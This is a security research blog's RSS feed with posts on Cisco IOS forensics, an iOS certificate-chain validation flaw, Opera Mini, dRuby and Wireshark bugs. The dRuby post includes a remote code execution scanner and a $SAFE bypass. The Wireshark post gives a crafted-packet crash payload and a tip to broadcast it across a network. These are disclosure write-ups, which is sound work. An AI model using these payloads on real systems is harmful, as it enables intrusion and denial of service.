<?xml version="1.0" encoding="utf-8"?>
        <?xml-stylesheet type="text/css" href="http://blog.recurity-labs.com/styles/feed.css"?>
<rss version="2.0"
 xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
 xmlns:dc="http://purl.org/dc/elements/1.1/"
 xmlns:admin="http://webns.net/mvcb/"
 xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title>The Recurity Lablog</title>
<atom:link href="http://blog.recurity-labs.com/rss.xml" rel="self" type="application/rss+xml" />
<link>http://blog.recurity-labs.com</link>
<description>computer security, research, reverse engineering and high level considerations</description>
<dc:language>en-us</dc:language>
<dc:creator>FX</dc:creator>
<dc:date>2012-02-01T20:19:44+01:00</dc:date>
<admin:generatorAgent rdf:resource="http://nanoblogger.sourceforge.net" />

<item>
<link>http://blog.recurity-labs.com/archives/2012/02/01/cisco_incident_response_cir_1_1_open_source_release/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2012/02/01/cisco_incident_response_cir_1_1_open_source_release/index.html</guid>
<title>Cisco Incident Response (CIR) 1.1 Open Source Release</title>
<dc:date>2012-02-01T20:07:04+01:00</dc:date>
<dc:creator>FX</dc:creator>

<description><![CDATA[
<p>
Recurity Labs created a system for the inspection of Cisco legacy IOS memory
dumps back in 2008. The tool, called Cisco Incident Response, was meant to
identify successful and unsuccessful exploits of binary nature against Cisco
routers running IOS 11.x and 12.x. IOS 15.x is now available, but doesn't
differ much from the previous releases in terms of internal design.
</p>

<p>
We ran an online service for uploading and analyzing IOS images together with
core dumps generated from them. This service has been used by various people,
but not a single core dump contained indications of an actual binary exploit
against the platform. It seems that it's simply too easy to pwn a company by
traditional means of browser, Flash, Java, EXE file in email, social
engineering or cloud service.
</p>

<p>
To support nostalgic hobbyists concerning themselves with the same questions 
half a decade later, we decided to publish the source code of CIR today, in 
order to allow anyone to use it and inspect its inner workings. We believe 
that Kerckhoff's Principle also holds true for defense and detection systems. 
Therefore it is educating to look at code bases that have been tested in
production for quite some time.
</p>

<p>
The code is interesting besides the embedded knowledge about Cisco IOS
data structures. Here are a couple of points for the inclined reader:
<ul>
 <li>23k lines of code, completely managed .NET (C#)</li>
 <li>Plug-in based knowledge system, where every plug-in consumes and 
 provides some type of abstracted information about the subject, formulated 
 by .NET types</li>
 <li>Several lists with differing offsets between IOS minor versions and
 service releases, for those assuming that IOS data structures will always
 look the same between e.g. 12.4.3 and 12.4.3J.</li>
 <li>An ELF file format parser that could be useful in other projects</li>
 <li>Report generation and daemon mode, to allow CIR to be used in corporate
 and provider networks automatically.</li>
</ul>
The code is released under GPLv3, and can be found at
<a href="http://cir.recurity.com/">http://cir.recurity.com</a>. We also
provide a binary distribution for those who simply want to use it.
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2011/08/09/cve-2011-0228_and_the_opera_mini_ui-design/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2011/08/09/cve-2011-0228_and_the_opera_mini_ui-design/index.html</guid>
<title>CVE-2011-0228 and the Opera Mini UI-Design</title>
<dc:date>2011-08-09T18:34:11+01:00</dc:date>
<dc:creator>FX</dc:creator>

<description><![CDATA[<p>
Recurity Labs received user reports, followed by our own tests, that Opera Mini
is affected by the CVE-2011-0228 X.509 certificate validation issue, orginially
reported for Apple iOS.
</p>
<p>
Upon filing a bug with Opera Software (ID SKIRNE-136848), we tried to contact
them directly. With some external help, we managed to get in contact with
security people at Opera and received the following interesting statement:
<p>

<p>
<pre>
Thanks for reporting an issue with Opera.

While you are correct that Opera Mini does not display a certificate
warning about chains with unknown Root certificates, there is, however,
a significant difference between what happened in iOS and what happens
in Opera Mini. Opera Mini will not indicate that such pages are secure,
that is, no padlock or similar indication is displayed for the web site
affected by this, giving the same security indications as it would for
an unencrypted site, which is the same as would have been displayed if
the user manually accepted the certificate.

Not showing a dialog was a design decision by the Opera Mini team, due
to the transcoder architecture of Opera Mini, and in part the
complexity of having the transcoder (proxy) server display a dialog at
the device and the obtain the result before continuing.

For more about Opera Mini security see
http://www.opera.com/mobile/help/faq/#security.
</pre>
</p>

<p>
Reviewing the provided 
<a href="http://www.opera.com/mobile/help/faq/#security" target="_blank">FAQ URL</a>, 
we can learn
that Opera Mini will show a padlock (at the top right corner) if the connection
to the web site was secured. No padlock is shown for unsecured sites using
HTTP.<br>
When testing Opera Mini with 
<a href="https://iSSL.recurity.com">https://iSSL.recurity.com</a>, no padlock is
shown. However, the URL in the address bar still says <b>https://</b> with no
indication that anything might be wrong with that. Judging from the user
feedback we received, it is not clear to the users that the absense of the
padlock means that the certificate validation failed.<br>
In our emulation environment, we also discovered that on small screen devices,
the padlock might not even be on-screen when loading a site.
</p>

<p>
Opera could easily display the failed certificate verification using other means
than dialog boxes, e.g. through a red background in the address bar, similar to
Internet Explorer.<br>
Given the current approach, we recommend to not use Opera Mini for
anything requiring a secure connection to a web site, especially considering
that Opera Mini does not provide end-to-end encryption in any case.
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2011/07/26/cve-2011-0228_ios_certificate_chain_validation_issue_in_handling_of_x_509_certificates/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2011/07/26/cve-2011-0228_ios_certificate_chain_validation_issue_in_handling_of_x_509_certificates/index.html</guid>
<title>CVE-2011-0228 iOS certificate chain validation issue in handling of X.509 certificates</title>
<dc:date>2011-07-26T22:25:23+01:00</dc:date>
<dc:creator>Greg</dc:creator>

<description><![CDATA[
<p>
Recurity Labs recently conducted a project for the German Federal
Office for Information Security (BSI), which (amongst others) also
concerned the iOS platform. During the analysis, a severe
vulnerability in the iOS X.509 implementation was identified.
When validating certificate chains, iOS fails to properly check the
X.509v3 extensions of the certificates in the chain. In particular,
the "Basic Constraints" section of the supplied certificates are not
verified by iOS. In the Basic Constraints section, the issuer of a certificate
can encode whether or not the issued certificate is a CA certificate,
i.e. whether or not it may be used to sign other certificates.
Not checking the CA bit of a certificate basically means that every end-entity
certificate can be used to sign further certificates. To provide an example:
When a CA issues a certificate to a Web site, the CA will usually set the CA
bit of this certificate to false. Assume, the attacker has such a
certificate, issued by a trusted CA to attacker.com. The attacker can now
use their private key to sign another certificate, which may contain arbitraty
data. This could for instance be a certificate for bank.com or even worse,
it could be a certificate containing multiple common names: *.*, *.*.*, ...
iOS fails to check whether the attacker's certificate was actually allowed
to sign subsequent certificates and considers the so created univeral
certificate as valid. The attacker could now use this certificate to
intercept all SSL/TLS traffic originating from an iOS device. However,
SSL/TLS is not the only use of X.509. Every application that makes use of 
the iOS crypto framework to validate chains of X.509 certificates is 
vulnerable.
</p>

<p>
The idea that Apple could have made a 8 year old mistake was suggested
by Bernhard 'bruhns' Brehm.
</p>

<p>
To test whether your iOS version is vulnerable, Recurity Labs has set up
a Web site: <a href="https://iSSL.recurity.com">https://iSSL.recurity.com</a>.
If the Safari browser on your
iDevice allows you to visit this site without issuing a warning, your
device is vulnerable. The certificate for this site was created using the
above described technique. Please feel free to validate this by inspecting
the certificate that the HTTP server supplies to you.
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/index.html</guid>
<title>dRuby for Penetration Testers</title>
<dc:date>2011-05-12T18:06:51+01:00</dc:date>
<dc:creator>Joern</dc:creator>

<description><![CDATA[<p>I like Ruby somehow, a nice and shiny programming language. At some point last year, I decided to have a closer look at 'Distributed Ruby' (also called dRuby). dRuby is all about easily usable objects and method invocations over the network.
</p>
<p>
So no long words: let's just drop into some simple dRuby server code:
<pre>
01  require 'drb/drb'
02  URI="druby://localhost:8787"
03  class TimeServer
04    def get_current_time
05      return Time.now
06    end
07  end
08  FRONT_OBJECT=TimeServer.new
09  $SAFE = 1 # disable eval() and friends
10  DRb.start_service(URI, FRONT_OBJECT)
11  DRb.thread.join
</pre>
<p>
Lines 03 to 07 define a class <b>TimerServer</b> with the method <b>get_current_time</b>. All the magic happens in line 10 where the dRuby service is started along with the <b>TimeServer</b> class as exposed Object. You'll probably have noticed line 09 where it says <b>$SAFE = 1</b>. This nifty variable turns on tainting and <i>should</i> disallow you from calling arbitrary code on the server side (that's basically what the documentation says). No worries, we'll come back later to circumventing <b>$SAFE</b>.
</p>
<p>
But first, let's look at the client side. Using this service would be as simple as:
</p>
<pre>
01 require 'drb/drb'
02 SERVER_URI="druby://localhost:8787"
03 DRb.start_service
04 timeserver = DRbObject.new_with_uri(SERVER_URI)
05 puts timeserver.get_current_time
</pre>
<p>
So here after starting the dRuby service in line 03, and getting a remote object in line 04, we can simply call methods of that object over the wire. This is done in line 05. That's all what's needed for a dRuby client. 
</p>
<p>
Now let's start building a more useful client. Namely a scanner for <b>$SAFE</b> being set.
</p>
<pre>
01 #!/usr/bin/ruby
02 require 'drb/drb'
03
04 # The URI to connect to
05 SERVER_URI= ARGV[0]
06
07 DRb.start_service
08 undef :instance_eval
09 t = DRbObject.new_with_uri(SERVER_URI)
10 
11 begin
12 a = t.instance_eval("`id`")
13 puts "[*] eval is enabled - you are:"
14 puts a
15 rescue  SecurityError =&gt; e
16 puts "[*] sorry, eval is disabled"
17 rescue  =&gt; e
18 puts "[*] likely not a druby port"
19 end
</pre>
<p>This scanner cheks remotely if the developer forgot to set <b>$SAFE</b>. It will tell you the ID of the user running the dRuby service. Of course you are free to alter this in order to do more fun stuff with the server, or you could just use the respective <a href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/linux/misc/drb_remote_codeexec.rb">Metasploit module</a>.</p>
<p>
But now back from shiny Ruby world to some Bughunting. So: what could possibly go wrong when pushing serialized objects back and forth on the wire?
</p>
<p>
My first attempts of poking around in dRuby with <b>$SAFE</b> set were as follows:
</p>
<pre>
01 require 'drb/drb'
02 SERVER_URI="druby://localhost:8787"
03 DRb.start_service
04 t = DRbObject.new_with_uri(SERVER_URI)
05 t.eval("`id`")
</pre>
<p>
Here in line 05 I tried to call <b>eval</b> on the remote object. Unfortunately this resulted in the following error:
</p>
<pre>
NoMethodError: private method `eval' called for #&lt;TimeServer:0xb7821a88&gt;:TimeServer
</pre>
<p>
During playing around further with dRuby, and looking further into the source, I found the following piece of code in <b>drb/drb.rb</b>:
</p>
<pre>
    # List of insecure methods.
    #
    # These methods are not callable via dRuby.
    INSECURE_METHOD = [
      :__send__
    ]
</pre>
<p>
Here, <b>__send__</b> gets blacklisted from being called via dRuby. However, and unfortunately, there's also an existing <b>send</b> method, as described in the <a href="http://www.ruby-doc.org/core/classes/Object.html#M000999">Ruby documentation</a>:
</p>
<pre>
obj.send(symbol [, args...]) -&gt; obj
obj.__send__(symbol [, args...]) -&gt; obj

Invokes the method identified by symbol, passing it any arguments specified. 
You can use __send__ if the name send clashes with an existing method in obj. 
</pre>
<p>
This very <b>send</b> method should give us the ability to call private methods on the object as follows:
</p>
<pre>
t.send(:eval, "`id`")
</pre>
<p>
This somehow worked but we run into another error:
</p>
<pre>
SecurityError: Insecure operation - eval
</pre>
<p>
I tried various functions taken from the class <a href="http://www.ruby-doc.org/core/classes/Object.html">Object</a> and the <a href="http://www.ruby-doc.org/core/classes/Kernel.html">Kernel</a> module; but all interesting functions were caught by a SecurityError. <i>Wait a minute, really all of them?</i> No, one little function was still willing to execute - and that function is <b>syscall</b>. So basically, we get free remote syscalls on the server side. When I reported this to the dRuby author, turns out, tainting (which causes the SecurityError) was forgotten for syscalls.</p>
<p>
In order to exploit this issue properly, we need a rather simple combination of syscalls to gain arbitrary command execution:
<ul>
<li><b>open()</b> or <b>creat()</b> a file with permissions 777</li>
<li><b>write()</b> some Ruby code to it</li>
<li><b>close()</b> the file</li>
<li><b>fork()</b> so that the dRuby service keeps running</li>
<li><b>execve()</b> the just created file</li>
</ul>
This nice combo of syscalls is implemented in the <a href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/linux/misc/drb_remote_codeexec.rb">Metasploit module</a> as well. Alors! go out and play with it :)
</p>
<p>
If you take a closer look at the Metasploit module, you'll see a neat little trick i came up with: At first, when connecting, it's not possible to decide whether we are on a 32 Bit or 64 Bit target system. Additionally the syscall numbers are different for those two versions of Linux. So i choose syscall 20, which is <b>getpid()</b> on 32bit systems, on 64bit systems it's syscall <b>writev()</b>. So when we call this syscall with no arguments, it should succeed on 32bit systems. On 64bit systems, it will raise an error due to missing arguments. We can then catch this error and use our 64bit syscall numbers.
</p>
<p>
Thanks at this point go out to two Metasploit guys: <a href="http://twitter.com/msfbannedit">bannedit</a> who poked me to put together an all-in-one exploit, and <a href="http://twitter.com/egyp7">egypt</a> who improved the instance_eval payload.
</p>
<p>
Last but not least, a short disclaimer:
Both aforementioned modules might not work as exepected on different Ruby versions, as some of these have been patched (by turning on tainting), and some won't have syscall implemented at all. The modules have been tested and found to work with the exploit with the following versions or Ruby:
Ruby 1.8.7 patchlevel 249; Ruby 1.9.0; Ruby 1.9.1 patchlevel 378 (all running on Linux 32 Bit systems). Tested as well and found vulnerable has been the 64 Bit version on Ubuntu 10.10 with both ruby1.8 and ruby1.9 packages.
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2011/03/09/at_least_i_got_dos/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2011/03/09/at_least_i_got_dos/index.html</guid>
<title>At least, I got DoS</title>
<dc:date>2011-03-09T18:34:04+01:00</dc:date>
<dc:creator>Joern</dc:creator>

<description><![CDATA[<p>
On January 11th, a new version of Wireshark has been released. The release contained several security-relevant fixes. Inspired by this fact, on a rainy evening I decided to have a closer look. 'There must be a bit more of that', I thought.
</p>
<p>
So I fired up my browser and helped myself to the <a href="http://www.wireshark.org/download/src/wireshark-1.4.3.tar.bz2">latest Wireshark sorce code</a> (which was version 1.4.3 at that point of time). After unpacking it, I went straight to the dissectors, which reside in the souce directory under epan/dissectors (that I knew from reading the advisories for the bugs fixed in 1.4.3).
</p>
<p>
Due to Wireshark having more than 1,000 different packet dissectors in this directory, I chose a pretty dumb approach to find interesting code parts:
</p>
<pre>
/wireshark-1.4.3/epan/dissectors$ grep -Hrn memcpy packet-* | less
</pre>
- a command that yields 553 results. So I scrolled through that list for a bit and finally decided to take a closer look at <b>packet-ldap.c</b>, containing the following <b>tvb_memcpy</b> call:
<pre>
packet-ldap.c:4020:    tvb_memcpy(tvb, str, offset, len);
</pre>
The corresponding function is:
<pre>
int dissect_mscldap_string(tvbuff_t *tvb, int offset, char *str, int maxlen, gboolean prepend_dot)
</pre>
<p>
- which can be found in line 3974 of <b>packet-ldap.c</b>.
</p>
<p>
The reason why I greped for <b>memcpy</b> was that I hoped to find some code where memcpy is used in a way which introduces a Buffer Overflow.
<p>
I quickly checked the <b>tvb_memcpy</b> function for what it does. It is defined in <b>/epan/tvbuff.c</b> and as I suspected, it's a wrapper around good old <b>memcpy</b> which copies from the packet buffer at <b>offset</b> exactly <b>len</b> bytes to <b>str</b>.
</p>
</p>
<p>
But now let's have a look at the function body:
</p>
<pre>
01 int dissect_mscldap_string(tvbuff_t *tvb, int offset, char *str, int maxlen, gboolean prepend_dot)
02 {
03  guint8 len;

04  len=tvb_get_guint8(tvb, offset);
05  offset+=1;
06  *str=0;
07  attributedesc_string=NULL;

08  while(len){
09    /* add potential field separation dot */
10    if(prepend_dot){
11      if(!maxlen){
12        *str=0;
13        return offset;
14      }
15      maxlen--;
16      *str++='.';
17      *str=0;
18    }

19    if(len==0xc0){
20      int new_offset;
21      /* ops its a mscldap compressed string */

22      new_offset=tvb_get_guint8(tvb, offset);
23      if (new_offset == offset - 1)
24        THROW(ReportedBoundsError);
25      offset+=1;

26      dissect_mscldap_string(tvb, new_offset, str, maxlen, FALSE);

27      return offset;
28    }

29    prepend_dot=TRUE;

30    if(maxlen&lt;=len){
31      if(maxlen&gt;3){
32        *str++='.';
33        *str++='.';
34        *str++='.';
35      }
36      *str=0;
37      return offset; /* will mess up offset in caller, is unlikely */
38    }
39    tvb_memcpy(tvb, str, offset, len);
40    str+=len;
41    *str=0;
42    maxlen-=len;
43    offset+=len;

44    len=tvb_get_guint8(tvb, offset);
45    offset+=1;
46  }
47  *str=0;
48  return offset;
49 }
</pre>
<p>
The part I grep'ed for can be found on line 39, where <b>tvb_memcpy</b> copies from the <b>tvb</b> buffer into <b>str</b>. The <b>tvb</b> buffer is the buffer holding the packet data that came across the wire. At this point, my question was: 
</p>
<p>
Can we overflow <b>str</b> in this function? 
</p>
<p>
Unfortunately, turns out we can't. 
First I checked all calls to this function, and all calls came with a 256 byte long char buffer and a maxlen set to 255. The part of the packet at <b>offset</b> is a length field followed by a string of that length. The length <b>len</b>, which is read as an 8-Bit-value form the <b>tvb</b> buffer in line 04 cannot be greater than 255. And a proper check for <b>maxlen</b> (sized sufficiently) is performed in line 30. 
</p>
<p>
Now you may ask, 'WhyTF does he bore me with non-exploitable code?!' 
Well, as the title already suggests - at least, I got DoS. 
</p>
<p>
On line 19, a special case is handled, namely compressed strings. This means by a length of 0xc0, it is denoted that the following string is not a string of length 0xc0, but rather an offset into the packet referencing another string. This concept was familiar to me, it's used in DNS as well. Not so suprisingly <a href="https://trac.torproject.org/projects/tor/ticket/380">there</a> <a href="http://www.cvedetails.com/cve/CVE-2006-6870/">were</a> <a href="http://securityreason.com/securityalert/2268">issues</a> within DNS handling code regarding those compressed strings.
</p>
<p>
Such compressed strings look like this, for instance:
We have <b>string1</b>, describing 'recurity.com', at offset 0x23; plus we have another <b>string2</b>, which is 'foo.recurity.com', at another offset. This <b>string2</b> can be compressed to '\x03foo\xc0\x23' - so now we'd have a <b>string2</b> containing the length of 'foo' (\x03), and a reference to the offset which contains '\x08recurity\x03com'.
</p>
<p>
Let's read that part again:
</p>
<pre>
19    if(len==0xc0){
20      int new_offset;
21      /* ops its a mscldap compressed string */

22      new_offset=tvb_get_guint8(tvb, offset);
23      if (new_offset == offset - 1)
24        THROW(ReportedBoundsError);
25      offset+=1;

26      dissect_mscldap_string(tvb, new_offset, str, maxlen, FALSE);

27      return offset;
28    }
</pre>
<p>
As you can see, in line 26 there's a recursive call to <b>dissect_mscldap_string</b>. And in line 23, the offset is checked for not pointing to itself, because this would cause an infinite recursion. 
But, wait a minute - what if...
</p>
<pre>
   +--------+   +--------+
   | label1 |   | label2 |
   +--------+   +--------+
     \__^_________^ /
         \_________/
</pre>
<p>
...there was a <b>label1</b> pointing to a <b>label2</b>, with that <b>label2</b> pointing to <b>label1</b> again?!
</p>
<p>
With this wee little trick we'd pass the self-reference check, but also gain infinite recursion, as both strings reference each other. 
</p>
<p>
I decided I definetly wanted a PoC for this bug. Even if it's 'just a DoS', it might be entertaining enough to crash other folks' Wireshark ;)
Developing a PoC was pretty straight forward. Again I chose kind of a lazy approach: Since the code handles Connectionless LDAP (hence CLDAP), I searched on the Internet for a bit and found <a href="http://lists.samba.org/archive/samba/2010-May/156222.html">this fancy site</a>, where I grabbed the file 'samba4-join-rtl8139.pcap' containing some CLDAP packets.
Wireshark happily dissected the CLDAP packets, especially the netlogon response:
</p>
<img src="/img/ws.png">
<p>
The highlighted part contains a string reference to the very first string labeled 'Forest' with offset 0x18. So I dumped the whole UDP payload of that packet and pasted it into scapy. After this, I replaced the 'Forest' string with a reference to offset 0x1A and a reference back to 0x18 directly afterwards. In scapy, it'd look like this:
</p>
<pre>
send(IP()/UDP(dport='ldap',sport=1025)/("\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81\x94\x04\x08\x6e\x65\x74
\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9\x48\x8b\x16\x4e\xbc\x51
\xf9\x60\xb4" <b>+ "\xc0" + "\x1a"  +  "\xc0" + "\x18" +</b>  "\x0e\x63\x6f\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a
\x43\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00
\xc0\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07\x0a\x01\x00\x04\x00\x04\x00"))
</pre>
<p>
This did the job just right - Wireshark silently crashed when sniffing on the loopback device.
</p>
<p>
This issue has been fixed in Wireshark version 1.4.4 which you can get <a href="http://www.wireshark.org/download.html">here</a>. Additionally I wrote a ready to use <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/dos/wireshark/cldap.rb">Metasploit Module</a> which is availabe via msfupdate. The usage is quite simple:
</p>
<pre>

msf &gt; use auxiliary/dos/wireshark/cldap 
msf auxiliary(cldap) &gt;show options

Module options (auxiliary/dos/wireshark/cldap):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  389              yes       The destination port
   SHOST                   no        This option can be used to specify a spoofed source address

msf auxiliary(cldap) &gt; set RHOST 192.168.1.255
msf auxiliary(cldap) &gt; run 
</pre>
<p>
Pro-tip: Use the local networks' broadcast address as <b>RHOST</b> to crash all vulnerable Wiresharks running in your network segment :).
</p> ]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2010/05/27/jail-breaking_the_cisco_unified_communication_manager_cucm/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2010/05/27/jail-breaking_the_cisco_unified_communication_manager_cucm/index.html</guid>
<title>Jail-breaking the Cisco Unified Communication Manager (CUCM)</title>
<dc:date>2010-05-27T14:43:26+01:00</dc:date>
<dc:creator>FX</dc:creator>

<description><![CDATA[<p>
We have a long and very good relation to the Cisco PSIRT team, reporting vulnerabilities to them and patiently waiting until fixes are provided. But some things, we simply don't consider to be vulnerabilities in the typical sense of the word. This includes artifacts of product behavior that allow you to get the type of the access to the product that you would expect.
</p>
<p>
The reasoning is that you already have to have a legitimate operating system administrator account on the CUCM, in order to "escalate" your privileges to a remote root shell. That the legitimate operating system administrator account, as provided by the product, isn't actually root, doesn't change the privilege situation one bit. Also, other people have published other guides (e.g. <a href="http://www.tek-tips.com/viewthread.cfm?qid=1501917&page=1" target="_blank">this one</a>) before.
</p>
<p>
Therefore, we have decided to publish an <a href="/articles/jail-breaking_cisco_unified_communication_manager/index.html">article</a> on how to gain the access you may want.
</p>
<p>
<b>Please use this information only on lab systems or virtual installations. It is not recommended to root any actual Cisco appliance and will most likely void your warranty.</b>
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2010/05/26/carnival_of_the_cultures_2010/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2010/05/26/carnival_of_the_cultures_2010/index.html</guid>
<title>Carnival of the Cultures 2010</title>
<dc:date>2010-05-26T17:53:44+01:00</dc:date>
<dc:creator>FX</dc:creator>
<dc:subject> events</dc:subject>
<description><![CDATA[
<p>
A great team needs a good environment to work in, and the environment doesn't stop at the office door. The cultural space in which you live also plays an important role and influences how people think and work. Berlin, home to Recurity Labs, luckily provides a rich and multifarious culture, which all of us enjoy a lot. Therefore, we occasionally want to give back to that environment, doing our little part to make it blossom some more.
</p>

<p>
For this year's <a href="http://www.karneval-berlin.de/de/english.175.html" target="_blank">Carnival of the Cultures</a>, a multicultural street parade, we had the opportunity to support <a href="http://karneval-der-kulturen.de/de/multimat.189.html" target="_blank">[multi:mat]</a> and our long time DJ Friends from <a href="http://www.dangerous-drums.de/" target="_blank">Dangerous Drums</a> with getting their float onto the parade.
</p>

<p>
<a href="/img/kdk1.png"><img src="/img/kdk1s.png" border="0"></a></br>
<br>Our motto for this float: <I>Work hard - Party harder!</I>
</p>

<p>
<a href="/img/kdk2.png"><img src="/img/kdk2s.png" border="0"></a>
</p>

<p>
We would like to thank [multi:mat] and Dangerous Drums for the making this all possible and of course the hundreds of thousands of people that participated in the parade.
</p>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2010/03/05/guest_blogger_at_microsoft_bluehat_blog/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2010/03/05/guest_blogger_at_microsoft_bluehat_blog/index.html</guid>
<title>Guest Blogger at Microsoft BlueHat Blog</title>
<dc:date>2010-03-05T12:39:20+01:00</dc:date>
<dc:creator>FX</dc:creator>
<dc:subject> rants</dc:subject>
<description><![CDATA[
<P><FONT FACE="Arial">
The Microsoft BlueHat team invited me to publish a rant on their BlueHat 
blog on TechNet. Of course, I had to deliver: 
<a href="http://blogs.technet.com/bluehat/archive/2010/03/04/parser-central-microsoft-net-as-a-security-component.aspx" target="_blank">Parser Central: Microsoft .NET as a Security Component</a>
</P>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2009/01/29/corporate_responsibility/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2009/01/29/corporate_responsibility/index.html</guid>
<title>Corporate Responsibility</title>
<dc:date>2009-01-29T19:15:02+01:00</dc:date>
<dc:creator>FX</dc:creator>
<dc:subject> events</dc:subject>
<description><![CDATA[
<P><FONT FACE="Arial">During a non public security event, I saw a
presentation by Olaf Kolkman about the new DNS server named <A HREF="http://www.unbound.net/" TARGET="_blank">Unbound</A>.
When he mentioned that the whole thing is written in C for
performance reasons, I returned that we should simply stop developing
production software in languages that produce unmanaged code. We got
into quite some discussions with the whole audience after that, many
people stating that there isn't an alternative and everything else is
just to slow. I'm not buying this for many obvious reasons, but
that's for another post.</FONT></P>
<P><FONT FACE="Arial">To put our abilities where my mouth is, we
ended up performing a short source code audit for the Unbound
developers. After all, Unbound is an effort to produce a reliable,
validating and DNSSEC ready name server, something we all want to
have deployed on a larger scale. Sergio Alvarez, who by the way will
be speaking at <A HREF="http://cansecwest.com/" TARGET="_blank">CanSecWest</A>
this year, looked at the code and found it surprisingly not riddled
with remote code execution bugs. I was certainly happy about that
find, because it meant the next generation DNS server deployments
wouldn't look at a future comparable to ISC bind's past. </FONT>
</P>
<P><FONT FACE="Arial">That impression, however, was largely because
Sergio compiled the code with all the ASSERT statements intact. Now,
people running heavy duty production DNS servers will most certainly
try to make it as fast as possible, instructing the compiler to get
rid of &ldquo;debug&rdquo; features like ASSERTs. That might not be a
good idea. So here is another lesson learned: When building for
production, you might want to keep those ASSERTs compiled in, since
your server crashing on funny packets is probably better than to
share the administrative control of the machine.</FONT></P>
<P><FONT FACE="Arial">Other than that, I hope the Unbound team keeps
up the good work, so people have one less excuse to not move to
DNSSEC.</FONT></P>]]></description>

</item>
<item>
<link>http://blog.recurity-labs.com/archives/2009/01/29/what_didnt_fit_into_the_talk/index.html</link>
<guid isPermaLink="true">http://blog.recurity-labs.com/archives/2009/01/29/what_didnt_fit_into_the_talk/index.html</guid>
<title>What didn't fit into the talk.</title>
<dc:date>2009-01-29T16:55:44+01:00</dc:date>
<dc:creator>FX</dc:creator>

<description><![CDATA[
<P><FONT FACE="Arial">Some of you might have heard that I gave a talk
on Cisco IOS security at the 25C3 this year. The talk was unique for
me in many ways, starting with the fact that it covered content going
all the way back to the beginnings of Phenoelit up to material that
was developed within Recurity Labs. It could be said that the talk
was a nexus of research efforts in different areas of my life.</FONT></P>
<P><FONT FACE="Arial">The second unique aspect was the cheer amount
of stuff to cover, which prevented more in-depth reflections on some
of the issues. This begins with the question of who would actually
take over Cisco routers. The short answer is of course: whoever can.
But that needs to be taken apart in more detail. Let's focus on
attacks that directly apply to the device in question and ignore for
now that the easiest way to take over an entire network
infrastructure is to attack the unpatched Sun servers running in the
Network Operation Center. </FONT>
</P>
<P><FONT FACE="Arial">Consider successful exploits a question of
development cost. An exploit is in that respect not different than
any other software: you find someone you think can actually pull it
off, present your requirements and have them develop it for you. In
almost all cases, this isn't going to be for free, so they will give
you a price tag for the work, which in most cases is a linear
function of the cost of a work hour for them. This implies that the
better they are, the less hours they will need to develop the exploit
for you, which makes it cheaper. This is what made exploits against
Windows desktops so cheap that attackers mostly relied on them for
gaining access to networks from what the network owners considered
inside (an outdated but still widespread way of looking at it).</FONT></P>
<P><FONT FACE="Arial">Our research concerning Cisco IOS security was
always based on the assumption that there are entities in this world
that have reached a reasonable development cost level for IOS
exploits. But the publicly available knowledge on how to write IOS
exploits didn't fit the bill, as they required to jump into some
memory address that is specific to the IOS image running on the
target. Assumed you don't know what image is running on that machine,
you could still argue that the exploit writer included a list of all
possible image dependent addresses into the exploit would try them
out, one at a time. This would cause the router to reboot every time
a wrong guess was tried.</FONT></P>
<P><FONT FACE="Arial">In the presentation, I said that there are
about 100.000 different IOS images in use. This is a very debatable
number, as about 15.000 are supported by Cisco at any given time and
good network administrators will only run one or two IOS images in
their entire network, often times investing several months to figure
out which exact image they want. When we however fire up the <A HREF="http://www.cisco.com/go/fn" TARGET="_blank">Cisco
Feature Navigator</A> and ask it for all IOS images that support IP
Routing, which should be all of them, we get: &ldquo;Showing 1-50 of
280715 results&rdquo; at the bottom of the page. Wow, what a number.
On page 5615 of the result listing (thank god they have a direct jump
feature!), we see that this covers everything from IOS 12.4 to 11.2.
Therefore, the number doesn't take very old networks into account, in
which you do see images below 11.2 running occasionally. </FONT>
</P>
<P><FONT FACE="Arial">It should be clear that trying them all out is
not an option, especially considering reboot times of 30 seconds and
more per attempt. Your exploit would constantly reboot a router for
2339 hours or 97 days. And that doesn't take into the account that
you need to get and disassemble them all, estimated time with IDA:
5848 days or 16 years.</FONT></P>
<P><FONT FACE="Arial">Therefore, there is either no one exploiting
IOS devices or they have found a better way to do it. Our <A HREF="http://cir.recurity-labs.com/" TARGET="_blank">Cisco
Incident Response</A> tool was developed in the hopes of finding
